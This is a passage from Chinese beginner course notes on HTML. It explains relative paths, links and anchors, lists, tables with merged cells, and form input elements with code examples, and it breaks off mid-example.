&lt;p&gt;一个点，表示当前文件所在的路径层级。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;code&gt;../&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;两个点，表示上一级路径层级，能够访问到同级文件夹或文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例&lt;/strong&gt;：&lt;code&gt;./../../images/篮球.png&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;案例&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;在地图上，找到广州市。
福州市(自己) -&amp;gt; 福建省 -&amp;gt; 广东省 -&amp;gt; 广州市
路径形式：&quot;./../广东省/广州市&quot;

不管在哪个星球，只要你还在，都有一条路可以指引到目的地。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;图解&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/62b197463d-image-20221110151005573-169881485493611-169881485633813.png&quot; alt=&quot;image-20221110151005573&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(九) 链接与锚点&lt;/h4&gt;
&lt;h5&gt;9.1 链接标签&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;&quot; target=&quot;&quot;&amp;gt; &amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;从一个页面跳转到另一个页面（可以是其他网址，也可以是本地的html）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;href&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;跳转的地址（一个链接或者其他html文件）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;target&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;链接的打开方式（&lt;code&gt;_self&lt;/code&gt; - 在当前页面打开【默认值】     &lt;code&gt;_blank&lt;/code&gt; - 在新标签页打开）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;!-- 页内跳转 --&amp;gt;
    &amp;lt;a href=&quot;https://www.bilibili.com/&quot;&amp;gt;哔哩哔哩-干杯(页内跳转)&amp;lt;/a&amp;gt;
    &amp;lt;!-- 新页面跳转 --&amp;gt;
    &amp;lt;a href=&quot;https://www.bilibili.com/&quot; target=&quot;_blank&quot;&amp;gt;哔哩哔哩-干杯（新页）&amp;lt;/a&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/595fcdefb9-image-20221110151331646-169881486533915-169881486652317.png&quot; alt=&quot;image-20221110151331646&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;9.2 锚点&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;#id&quot; &amp;gt; &amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;若页面&amp;lt;u&amp;gt;出现滚动条&amp;lt;/u&amp;gt;，可以在本页面内跳转到指定标签位置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;href&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;跳转目标标签的【&lt;strong&gt;id值&lt;/strong&gt;】。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
	&amp;lt;!-- 锚点跳转 --&amp;gt;
    &amp;lt;a href=&quot;#img-1&quot;&amp;gt;第1张&amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;#img-2&quot;&amp;gt;第2张&amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;#img-3&quot;&amp;gt;第3张&amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;#img-4&quot;&amp;gt;第4张&amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;#img-5&quot;&amp;gt;第5张&amp;lt;/a&amp;gt;

    &amp;lt;!-- 内容区 --&amp;gt;
    &amp;lt;h2 id=&quot;img-1&quot;&amp;gt;欢度国庆1&amp;lt;/h2&amp;gt;
    &amp;lt;img src=&quot;https://pic.ntimg.cn/BannerPic/20220930/home/20220930104529.jpg&quot;&amp;gt;
    &amp;lt;h2 id=&quot;img-2&quot;&amp;gt;欢度国庆2&amp;lt;/h2&amp;gt;
    &amp;lt;img src=&quot;https://pic.ntimg.cn/BannerPic/20220926/home/20220926182231.jpg&quot;&amp;gt;
    &amp;lt;h2 id=&quot;img-3&quot;&amp;gt;欢度国庆3&amp;lt;/h2&amp;gt;
    &amp;lt;img src=&quot;https://pic.ntimg.cn/BannerPic/20220930/home/20220930104529.jpg&quot;&amp;gt;
    &amp;lt;h2 id=&quot;img-4&quot;&amp;gt;欢度国庆4&amp;lt;/h2&amp;gt;
    &amp;lt;img src=&quot;https://pic.ntimg.cn/BannerPic/20220926/home/20220926182231.jpg&quot;&amp;gt;
    &amp;lt;h2 id=&quot;img-5&quot;&amp;gt;欢度国庆5&amp;lt;/h2&amp;gt;
    &amp;lt;img src=&quot;https://pic.ntimg.cn/BannerPic/20220930/home/20220930104529.jpg&quot;&amp;gt;

    &amp;lt;!-- 锚点跳转 --&amp;gt;
    &amp;lt;a href=&quot;#img-1&quot;&amp;gt;第1张&amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;#img-2&quot;&amp;gt;第2张&amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;#img-3&quot;&amp;gt;第3张&amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;#img-4&quot;&amp;gt;第4张&amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;#img-5&quot;&amp;gt;第5张&amp;lt;/a&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;(十) 列表标签&lt;/h4&gt;
&lt;h5&gt;10.1 无序列表&lt;/h5&gt;
&lt;p&gt;​	快速生成无序树级列表，可以无限嵌套，前三层的样式不同。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;&lt;code&gt;&amp;lt;ul&amp;gt; &amp;lt;/ul&amp;gt;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;有序列表容器。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;列表的具体项。&lt;/p&gt;
&lt;h5&gt;案例&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;无序列表(前三层的样式不同，之后和第三层相同)&amp;lt;/h1&amp;gt;
&amp;lt;!-- ul无序列表容器  li是列表具体项 --&amp;gt;
&amp;lt;ul&amp;gt;
    &amp;lt;li&amp;gt;
        1
        &amp;lt;ul&amp;gt;
            &amp;lt;li&amp;gt;
                1-1
                &amp;lt;ul&amp;gt;
                    &amp;lt;li&amp;gt;1-1-1&amp;lt;/li&amp;gt;
                &amp;lt;/ul&amp;gt;
            &amp;lt;/li&amp;gt;
        &amp;lt;/ul&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;2&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;3&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;4&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/cfb7786368-image-20221110151552938-169881488928019.png&quot; alt=&quot;image-20221110151552938&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;10.2 有序列表&lt;/h5&gt;
&lt;p&gt;​	快速生成有序树级列表，可以无限嵌套，每层都会重新排序。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;&lt;code&gt;&amp;lt;ol&amp;gt; &amp;lt;/ol&amp;gt;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;无序列表容器。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;列表的具体项。&lt;/p&gt;
&lt;h5&gt;案例&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;有序列表(可以无限嵌套，每层都会重新排序)&amp;lt;/h1&amp;gt;
&amp;lt;ol&amp;gt;
    &amp;lt;li&amp;gt;
        1
        &amp;lt;ol&amp;gt;
            &amp;lt;li&amp;gt;1-2&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;1-2&amp;lt;/li&amp;gt;
        &amp;lt;/ol&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;2&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;3&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;4&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/69b8f6d53c-image-20221110151823391-169881491342623.png&quot; alt=&quot;image-20221110151823391&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;本节介绍了前端开发使用的软件，一些基础的HTML标签的属性、功能、效果和使用方法。强调代码的规范性，需要在一定的模板中，编写代码。需要熟练掌握这些标签的属性，使用情况。在不同的情况下，合理选择使用的标签。&lt;/p&gt;
&lt;h2&gt;HTML-02&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;表格标签、表单标签、div和span、css选择器&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;熟悉表格标签的属性特点&lt;/li&gt;
&lt;li&gt;熟练表单所有标签的使用和特点&lt;/li&gt;
&lt;li&gt;了解并区分块级元素、行内元素&lt;/li&gt;
&lt;li&gt;熟练使用css选择器&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;表单标签&lt;/li&gt;
&lt;li&gt;div、span&lt;/li&gt;
&lt;li&gt;css选择器&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;表单标签&lt;/li&gt;
&lt;li&gt;css选择器&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) 表格标签&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;table&amp;gt; &amp;lt;/table&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;表格标签的【&lt;strong&gt;容器&lt;/strong&gt;】标签，所有表格元素标签都必须在此标签内，单元格会自动对齐。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;border&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;表格的边框粗细。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;cellpadding&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;单元格内，文字到边框的距离。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;cellspacing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;单元格之间的距离。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;align&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定表格相对于周围元素的对齐方式。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;caption&amp;gt; &amp;lt;/cation&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;表格中的【&lt;strong&gt;标题&lt;/strong&gt;】标签，无论写在  &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;  中的什么地方，最终都显示在表格顶部，因此常写在  &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;  的内第一行。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;tr&amp;gt; &amp;lt;/tr&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;表格中的【&lt;strong&gt;行&lt;/strong&gt;】标签，每一个单元格都必须在行标签内。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;th&amp;gt; &amp;lt;/th&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;表格头&lt;/strong&gt;的单元格标签。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;表格内容&lt;/strong&gt;的单元格标签。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;rowspan&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;纵向&lt;/strong&gt;合并相邻单元格&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;clospan&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;横向&lt;/strong&gt;合并相邻单元格&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：合并单元格时，要注意横向、纵向上【合并数 + 单元格数】要相同，否则表格单元格会溢出，撑大表格。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;普通的表格&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;table border=&quot;1&quot; cellspacing=&quot;5&quot; align=&quot;left&quot; cellpadding=&quot;10&quot;&amp;gt;
    &amp;lt;caption&amp;gt;学生信息表&amp;lt;/caption&amp;gt;
    &amp;lt;!-- 表格头 --&amp;gt;
    &amp;lt;tr&amp;gt;
        &amp;lt;th&amp;gt;姓名&amp;lt;/th&amp;gt;
        &amp;lt;th&amp;gt;年龄&amp;lt;/th&amp;gt;
        &amp;lt;th&amp;gt;性别&amp;lt;/th&amp;gt;
    &amp;lt;/tr&amp;gt;
    &amp;lt;!-- 内容 --&amp;gt;
    &amp;lt;tr&amp;gt;
        &amp;lt;td&amp;gt;小红&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;20&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;女&amp;lt;/td&amp;gt;
    &amp;lt;/tr&amp;gt;
    &amp;lt;tr&amp;gt;
        &amp;lt;td&amp;gt;小明&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;30&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;男&amp;lt;/td&amp;gt;
    &amp;lt;/tr&amp;gt;
&amp;lt;/table&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/aadbd22dbc-image-20221110154543943-169881497390825.png&quot; alt=&quot;image-20221110154543943&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有单元格合并的表格&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; align=&quot;left&quot; cellpadding=&quot;10&quot;&amp;gt;
    &amp;lt;caption&amp;gt;进货单&amp;lt;/caption&amp;gt;
    &amp;lt;!-- 表格头 --&amp;gt;
    &amp;lt;tr&amp;gt;
        &amp;lt;th rowspan=&quot;2&quot;&amp;gt;序号&amp;lt;/th&amp;gt;
        &amp;lt;th colspan=&quot;3&quot;&amp;gt;商品信息&amp;lt;/th&amp;gt;
        &amp;lt;th rowspan=&quot;2&quot;&amp;gt;数量&amp;lt;/th&amp;gt;
        &amp;lt;th rowspan=&quot;2&quot;&amp;gt;备注&amp;lt;/th&amp;gt;
    &amp;lt;/tr&amp;gt;
    &amp;lt;tr&amp;gt;
        &amp;lt;th&amp;gt;名称&amp;lt;/th&amp;gt;
        &amp;lt;th&amp;gt;规格&amp;lt;/th&amp;gt;
        &amp;lt;th&amp;gt;单价&amp;lt;/th&amp;gt;
    &amp;lt;/tr&amp;gt;
    &amp;lt;!-- 内容 --&amp;gt;
    &amp;lt;tr&amp;gt;
        &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;华为手机&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;mate50&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;100&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;12&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;12&amp;lt;/td&amp;gt;
    &amp;lt;/tr&amp;gt;
    &amp;lt;tr&amp;gt;
        &amp;lt;td&amp;gt;2&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;小米手机&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;mix 3&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;200&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;2&amp;lt;/td&amp;gt;
    &amp;lt;/tr&amp;gt;
&amp;lt;/table&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/725f94cfe5-image-20221110154623009-169881507056827.png&quot; alt=&quot;image-20221110154623009&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 表单标签&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;form&amp;gt; &amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;各类表单输入标签的容器，可以利用action属性直接提交表单的输入值到目标地址。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;action&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;提交表单数据的目标地址，会有默认跳转事件。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;label&amp;gt; &amp;lt;/label&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;input 元素定义标注（标记），没有特殊显示效果，点击到&lt;code&gt;&amp;lt;label&amp;gt;&lt;/code&gt;时，会自动聚焦到其绑定的&lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;标签。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;for&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;要绑定&lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;标签的&lt;code&gt;id&lt;/code&gt;值。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;username&quot;&amp;gt;用户名&amp;lt;/label&amp;gt;
&amp;lt;input id=&quot;username&quot;&amp;gt;&amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;input&amp;gt; &amp;lt;/input&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;输入标签，用于获取用户在网页中的键盘、鼠标输入。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;placeholder&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;输入框中的提示文字&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input placeholder=&quot;请输入&quot;&amp;gt;&amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;name&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最终提交表单时，该项输入框的数据描述，如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;
    &amp;lt;input name=&quot;account&quot;&amp;gt;&amp;lt;/input&amp;gt;
	&amp;lt;input name=&quot;password&quot;&amp;gt;&amp;lt;/input&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表示此表单中，分别有输入账号(account)和密码(password)的输入框。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;value&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;输入框最终的【输入值/选中值/按钮文字】&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input value=&quot;123123&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;disabled&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;禁止该&lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;【输入/选择】&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;type&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过修改type的值(默认为&lt;code&gt;text&lt;/code&gt;)，可以更改输入框的功能&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;text&lt;/strong&gt;：普通的文本输入框&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot;&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;password&lt;/strong&gt;：密码输入框&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;password&quot;&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;radio&lt;/strong&gt;：单选框&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;【搭配属性】&lt;strong&gt;checked&lt;/strong&gt;：默认选择&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; checked&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;【搭配属性】&lt;strong&gt;disabled&lt;/strong&gt;：禁止使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; disabled&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;checkbox&lt;/strong&gt;：复选框&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;【搭配属性】&lt;strong&gt;checked&lt;/strong&gt;：默认选择&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; checked&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;【搭配属性】&lt;strong&gt;disabled&lt;/strong&gt;：禁止使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; disabled&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;file&lt;/strong&gt;：选择文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot;&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;submit&lt;/strong&gt;：提交按钮&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot;&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;reset&lt;/strong&gt;：重置按钮&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;reset&quot;&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;button&lt;/strong&gt;：普通按钮&lt;/p&gt;
&lt;p&gt;需要写&lt;strong&gt;value&lt;/strong&gt;属性，按钮才有文字&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;button&quot; value=&quot;修改&quot;&amp;gt; &amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;textarea&amp;gt; &amp;lt;/textarea&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;多行文本&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;cols&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;规定初始显示的【&lt;strong&gt;列数&lt;/strong&gt;】(以字为单位)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;rows&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;规定初始显示的【&lt;strong&gt;行数&lt;/strong&gt;】(以字为单位)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;textarea cols=&quot;10&quot; rows=&quot;3&quot;&amp;gt;&amp;lt;/textarea&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;select&amp;gt; &amp;lt;/select&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;option&amp;gt; &amp;lt;/option&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;下拉选择框，&lt;/p&gt;
&lt;p&gt;&lt;code&gt;select&lt;/code&gt;是下拉选择框容器。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;option&lt;/code&gt;是选项。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;taste&quot;&amp;gt;&amp;lt;/label&amp;gt;
&amp;lt;select id=&quot;taste&quot;&amp;gt;
    &amp;lt;option value=&quot;few&quot;&amp;gt;微微辣&amp;lt;/option&amp;gt;
    &amp;lt;option value=&quot;little&quot;&amp;gt;微辣&amp;lt;/option&amp;gt;
    &amp;lt;option value=&quot;spicy&quot;&amp;gt;辣&amp;lt;/option&amp;gt;
&amp;lt;/select&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;表单提交地址&quot;&amp;gt;
    &amp;lt;!-- input的name属性用来指定提交的表单内容 --&amp;gt;
    &amp;lt;h2&amp;gt;文本输入框&amp;lt;/h2&amp;gt;
    &amp;lt;input type=&quot;text&quot; placeholder=&quot;请输入&quot;&amp;gt;


    &amp;lt;h2&amp;gt;密码输入框&amp;lt;/h2&amp;gt;
    &amp;lt;input type=&quot;password&quot; placeholder=&quot;请输入密码&quot; name=&quot;password&quot;&amp;gt;


    &amp;lt;h2&amp;gt;单选框&amp;lt;/h2&amp;gt;
    &amp;lt;!-- name属性要同名 --&amp;gt;
